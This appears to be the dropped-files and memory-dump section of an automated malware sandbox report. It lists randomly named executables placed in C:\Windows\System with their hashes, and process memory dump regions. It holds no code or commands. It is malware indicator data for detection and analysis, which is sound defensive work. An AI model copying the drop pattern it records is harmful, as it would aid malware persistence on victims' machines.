0e84a6b51b34c380e77c87165fc46fffad283b9c6ab0a18c9a4f1542903c263004c6583ca4046531f0915586039b1579d8787b76d7bcdbb5649d4d46e8ca2e07

Download Submit
C:\Windows\System\ZMVXsRT.exe

Filesize
2.3MB

MD5
d6a7442831f7052402f4d1728c4c3665

SHA1
82546383e045f102bbfb9bb706057918298222a9

SHA256
8374d721701de510cb5a61e02dab3b21a2537d2e7f87363c4437a880a55d5994

SHA512
4583812098d19ab0e162014aff4bd98feba74a50a209c165b37a39f478b447ec163e93d5161d5829070aa012ae6921f3cc9365badee17ff8f4a622d0d6c1d048

Download Submit
C:\Windows\System\Zvhladl.exe

Filesize
2.3MB

MD5
0e96abba6b37a45a64a3953fb0664cd2

SHA1
f1847c5b3599cd95024a2f53e9d2124cc45c914e

SHA256
1aee8cf1f76cd5ccf6a38c9347cbea6335264123a869b052864dbac5b936241b

SHA512
75f3addae98b7ca7574d6b0a80dd9bf9b39bbad2be2bbf652ffb6b756bcbc3e4b583785de512af3adcfcc55f10647642e640ec3d33fcfeb6404d61fffc986b5d

Download Submit
C:\Windows\System\aIxfqYv.exe

Filesize
2.3MB

MD5
3ea1a7e08596ab820964a3e66f4ddc17

SHA1
a083a01b1acadfa884bd7cea74b89c6a0a2f32e4

SHA256
8ac44d1c8e199fc0157db7a5d86cca5bc1e4e4ba02ddb059a557bb02e3ce5bf4

SHA512
523e722f71b417f2a67917531db5c63dbf0183472c16e79b7c7077bcfc4a5137a5050a7a8813cd8b3876caaf169650b96fdc44c1c08a0682e16fa8778d016c22

Download Submit
C:\Windows\System\aLObVat.exe

Filesize
2.3MB

MD5
d4f6cbf9f28364448c3e6d2a1da231d3

SHA1
c5de4c5e52c1a477a5cc8887cd39b5efbca474bc

SHA256
5a49191098c363e0006657cf6735ba4815e5478643fb722feea29f864cf18a4e

SHA512
617afaa0e608d0888f2f2abb10177f36a5a0ff3cdae7dbffa831d333008f0c5933395368d4e6cf4ccc47b5424af43771a321ca9ac42f9fab5e19b757d92895ea

Download Submit
C:\Windows\System\aTHJMDi.exe

Filesize
2.3MB

MD5
15a9ad1fff5b7250a94c52f2a5795f54

SHA1
0afb75575f829f7f4071c187ffea9588ac8249c1

SHA256
fc15be79cdad9c86e83ab7e17c691d28e4fe043977fdff3eb2e3a46518d24f6a

SHA512
14c2ee11f20eda2c4387e1997157a293256f1033ae12c5ee8e2925f8df10fc51f9eb64aee414687e965539a2463030a47b7f069283fa2c112960a145a3c41980

Download Submit
C:\Windows\System\bKjaxhF.exe

Filesize
2.3MB

MD5
90f924cc8747b16ed78bdb2332408397

SHA1
4251abac0236c5cb4f7f6e5fa9a694f75051cbee

SHA256
bb24e23aa46188d93365ab2381d9d221e53d4094c8248b713fa5d58c8bcdd4cb

SHA512
9c9c5c8ae06c0c79af3ee0ed5842a83b60ecce4b56fe92ab91e24c598b6d7f9500f3a85e3ee646f98e823ee50a96e21c1683434fe9a0db9097be6d48a61b8646

Download Submit
C:\Windows\System\dnmvJlw.exe

Filesize
2.3MB

MD5
4fbff92cf42fe58b94965fde5d0b2f13

SHA1
89aa33e5da2a42fe9d98c532522735e47acf2401

SHA256
b44bdc78a17b6d85197423ee43b5000ea777b775014e97812138122c6454aba9

SHA512
93a9625b5031bdcbe94fdfd2aba3511438bd97751b4d0756ddca8972a23827233e68c92730716782adffb6cc6a0ddf71e9588f10970b16ccf154b819c963b0a4

Download Submit
C:\Windows\System\goBZfzv.exe

Filesize
2.3MB

MD5
b030681bcb84d7f04007ff70b92c1751

SHA1
aabb5267e0908d5ee6c74ae6be1775dac3259fa9

SHA256
8877ed2de42a25308a662c551f46b303bb17947eb2258feddf47045c2791409d

SHA512
afe7053ddf3ded93bc48ef3fcc278587d362fb45e965384417d3856ff32fa7b7a0e3551ce17e8cbd5934290638aac7f16b83e9379c8b3b40a64ff8de0ed5f569

Download Submit
C:\Windows\System\lsiBFwX.exe

Filesize
2.3MB

MD5
b65aab9c764e8fe60fca118b161904c8

SHA1
f9afb6212c1c19d3137cd8b3116cab19ddab6464

SHA256
ccd36816446d105fc5ffeb8a636472d1f72cedcad12a690f30a6e7f3f5e8abbf

SHA512
778461638db618a4a896e0e7dd35c393dab466b485dbbd66c9e194183c129285cfeac0db8dd5f6ba21c766d956598d1b40c47d2b6117a68bced62e456371bf7f

Download Submit
C:\Windows\System\niCeKYv.exe

Filesize
2.3MB

MD5
6ba8ca0fbc24a2747311080f49c9c5f6

SHA1
4e97196b57db823f0ac48d6127cdb0c22f1833dc

SHA256
f3ba577b65d27602f685f4c8ef617af8a576d9a078968a8f45f6588ace9ef8b8

SHA512
f76784e7459cf12d42e6f991848ac7332be655342185530dc48fba6a3f1c8e838429a49b7ce430e7093222d62ccf8386ab9b70521f33bfaefe2720a13a44c102

Download Submit
C:\Windows\System\oZFxTGs.exe

Filesize
2.3MB

MD5
e1da4feae83c49d500427fd545e7303d

SHA1
705d14fd878ba9ff200af3cb58e26becdc1c75d1

SHA256
c856e8f8c6bb39f2290768ae7693cc5c800a220b9f885c2fa1419348fe2374ec

SHA512
d1c9c98a7f316e2ac7862ce9b1b669a9676c49bae26e6b6a6ddc1254021849a75a54115a5eaf0e39c95b603c53d7758b0bc5ef484e961728b2467fa2cac0199b

Download Submit
C:\Windows\System\pAJtnIl.exe

Filesize
2.3MB

MD5
08992ee1dfe208cb334b887c71daed3e

SHA1
659942ced6d1f368fe80bc578f7e1ccb8726b0c0

SHA256
f25663154db3b1571f9823c9e6c5cede89c451d95390da8bcf3455e0a5503718

SHA512
df985a869c62285d7ac60f67e2d147276a1eeca68fbaf19c41b1de522107e06c532ec29055c4ceb5298213faedfecacd244d2eaf487f880898c3fc0ad6a33d43

Download Submit
C:\Windows\System\qqTTAZi.exe

Filesize
2.3MB

MD5
3323b59a780cef23c0749d949bd8f2f7

SHA1
cb035ae606d2a6560d9f290be6917fc6379fe593

SHA256
460a77ab321175f40982bba40c034827f955d074421e6285701ac149e347d183

SHA512
4ffabffb9957804180d5e2fe7263043567e3ba9e99be69493f9f541a066d9033716d49c07399db9405ed1bfdcb531d0f4978f6ced75763b5bf0f82372690b512

Download Submit
C:\Windows\System\tzymTeJ.exe

Filesize
2.3MB

MD5
4f418c205bd86ce859b8aa2f8e73bae4

SHA1
c267388d98bae0fbac2cbff9751ed4d3f8f74c98

SHA256
3254cdda2f1478579cbeb43955fc4dafd34c33ed336d6ba962c449262477a597

SHA512
d822d695a7549b47ad3dd1e71c87d420a9bb0ff4b6a19f4a87a922686e5c12dbf5119ccce9599e5ff96595f003ac50f2c203a0f1fcf32a395932edfe16d8ef36

Download Submit
memory/436-1778-0x00007FF6A0670000-0x00007FF6A0A62000-memory.dmp

Filesize
3.9MB

Download
memory/436-172-0x00007FF6A0670000-0x00007FF6A0A62000-memory.dmp

Filesize
3.9MB

Download
memory/692-169-0x00007FF7EFC00000-0x00007FF7EFFF2000-memory.dmp

Filesize
3.9MB

Download
memory/692-1769-0x00007FF7EFC00000-0x00007FF7EFFF2000-memory.dmp

Filesize
3.9MB

Download
memory/708-170-0x00007FF664790000-0x00007FF664B82000-memory.dmp

Filesize
3.9MB

Download
memory/708-1756-0x00007FF664790000-0x00007FF664B82000-memory.dmp

Filesize
3.9MB

Download
memory/1860-1699-0x00007FF7716F0000-0x00007FF771AE2000-memory.dmp

Filesize
3.9MB

Download
memory/1860-74-0x00007FF7716F0000-0x00007FF771AE2000-memory.dmp

Filesize
3.9MB

Download
memory/2256-173-0x00007FF61AFE0000-0x00007FF61B3D2000-memory.dmp

Filesize
3.9MB

Download
memory/2256-1793-0x00007FF61AFE0000-0x00007FF61B3D2000-memory.dmp

Filesize
3.9MB

Download
memory/2460-1760-0x00007FF7E0220000-0x00007FF7E0612000-memory.dmp

Filesize
3.9MB

Download
memory/2460-174-0x00007FF7E0220000-0x00007FF7E0612000-memory.dmp

Filesize
3.9MB

Download
memory/2520-1743-0x00007FF6428F0000-0x00007FF642CE2000-memory.dmp

Filesize
3.9MB

Download
memory/2520-179-0x00007FF6428F0000-0x00007FF642CE2000-memory.dmp

Filesize
3.9MB

Download
memory/2612-101-0x00007FF7EFA30000-0x00007FF7EFE22000-memory.dmp

Filesize
3.9MB

Download
memory/2612-1679-0x00007FF7EFA30000-0x00007FF7EFE22000-memory.dmp

Filesize
3.9MB

Download
memory/2732-1751-0x00007FF76BB90000-0x00007FF76BF82000-memory.dmp

Filesize
3.9MB

Download
memory/2732-155-0x00007FF76BB90000-0x00007FF76BF82000-memory.dmp

Filesize
3.9MB

Download
memory/2848-112-0x00007FF7B2B60000-0x00007FF7B2F52000-memory.dmp

Filesize
3.9MB

Download
memory/2848-1676-0x00007FF7B2B60000-0x00007FF7B2F52000-memory.dmp

Filesize
3.9MB

Download
memory/2892-56-0x00007FFE6DE90000-0x00007FFE6E951000-memory.dmp

Filesize
10.8MB

Download
memory/2892-66-0x000001FFB16C0000-0x000001FFB16D0000-memory.dmp

Filesize
64KB

Download
memory/2892-23-0x000001FFB3940000-0x000001FFB3962000-memory.dmp

Filesize
136KB

Download
memory/2892-1128-0x000001FFB45A0000-0x000001FFB4D46000-memory.dmp

Filesize
7.6MB

Download
memory/2892-177-0x000001FFB16C0000-0x000001FFB16D0000-memory.dmp

Filesize
64KB

Download
memory/2928-168-0x00007FF7EB9B0000-0x00007FF7EBDA2000-memory.dmp

Filesize
3.9MB

Download
memory/2928-1794-0x00007FF7EB9B0000-0x00007FF7EBDA2000-memory.dmp

Filesize
3.9MB

Download
memory/3036-178-0x00007FF699580000-0x00007FF699972000-memory.dmp

Filesize
3.9MB

Download
memory/3036-1741-0x00007FF699580000-0x00007FF699972000-memory.dmp

Filesize
3.9MB

Download
memory/3604-1809-0x00007FF7B2710000-0x00007FF7B2B02000-memory.dmp

Filesize
3.9MB

Download
memory/3604-176-0x00007FF7B2710000-0x00007FF7B2B02000-memory.dmp

Filesize
3.9MB

Download
memory/4052-1754-0x00007FF7B8FF0000-0x00007FF7B93E2000-memory.dmp

Filesize
3.9MB

Download
memory/4052-167-0x00007FF7B8FF0000-0x00007FF7B93E2000-memory.dmp

Filesize
3.9MB

Download
memory/4088-1688-0x00007FF7D32A0000-0x00007FF7D3692000-memory.dmp

Filesize
3.9MB

Download
memory/4088-65-0x00007FF7D32A0000-0x00007FF7D3692000-memory.dmp

Filesize
3.9MB

Download
memory/4280-137-0x00007FF791490000-0x00007FF791882000-memory.dmp

Filesize
3.9MB

Download
memory/4280-1680-0x00007FF791490000-0x00007FF791882000-memory.dmp

Filesize
3.9MB

Download
memory/4568-1750-0x00007FF6FF510000-0x00007FF6FF902000-memory.dmp

Filesize
3.9MB

Download
memory/4568-180-0x00007FF6FF510000-0x00007FF6FF902000-memory.dmp

Filesize
3.9MB

Download
memory/4692-133-0x00007FF6E1D70000-0x00007FF6E2162000-memory.dmp

Filesize
3.9MB

Download
memory/4692-1675-0x00007FF6E1D70000-0x00007FF6E2162000-memory.dmp

Filesize
3.9MB

Download
memory/4776-175-0x00007FF7355F0000-0x00007FF7359E2000-memory.dmp

Filesize
3.9MB

Download
memory/4776-1762-0x00007FF7355F0000-0x00007FF7359E2000-memory.dmp

Filesize
3.9MB

Download
memory/4848-0-0x00007FF62D080000-0x00007FF62D472000-memory.dmp

Filesize
3.9MB

Download
memory/4848-1-0x0000023F8A480000-0x0000023F8A490000-memory.dmp

Filesize
64KB

Download
memory/4976-1747-0x00007FF6767A0000-0x00007FF676B92000-memory.dmp

Filesize
3.9MB

Download
memory/4976-165-0x00007FF6767A0000-0x00007FF676B92000-memory.dmp

Filesize
3.9MB

Download
memory/4988-1757-0x00007FF613BD0000-0x00007FF613FC2000-memory.dmp

Filesize
3.9MB

Download
memory/4988-171-0x00007FF613BD0000-0x00007FF613FC2000-memory.dmp

Filesize
3.9MB

Download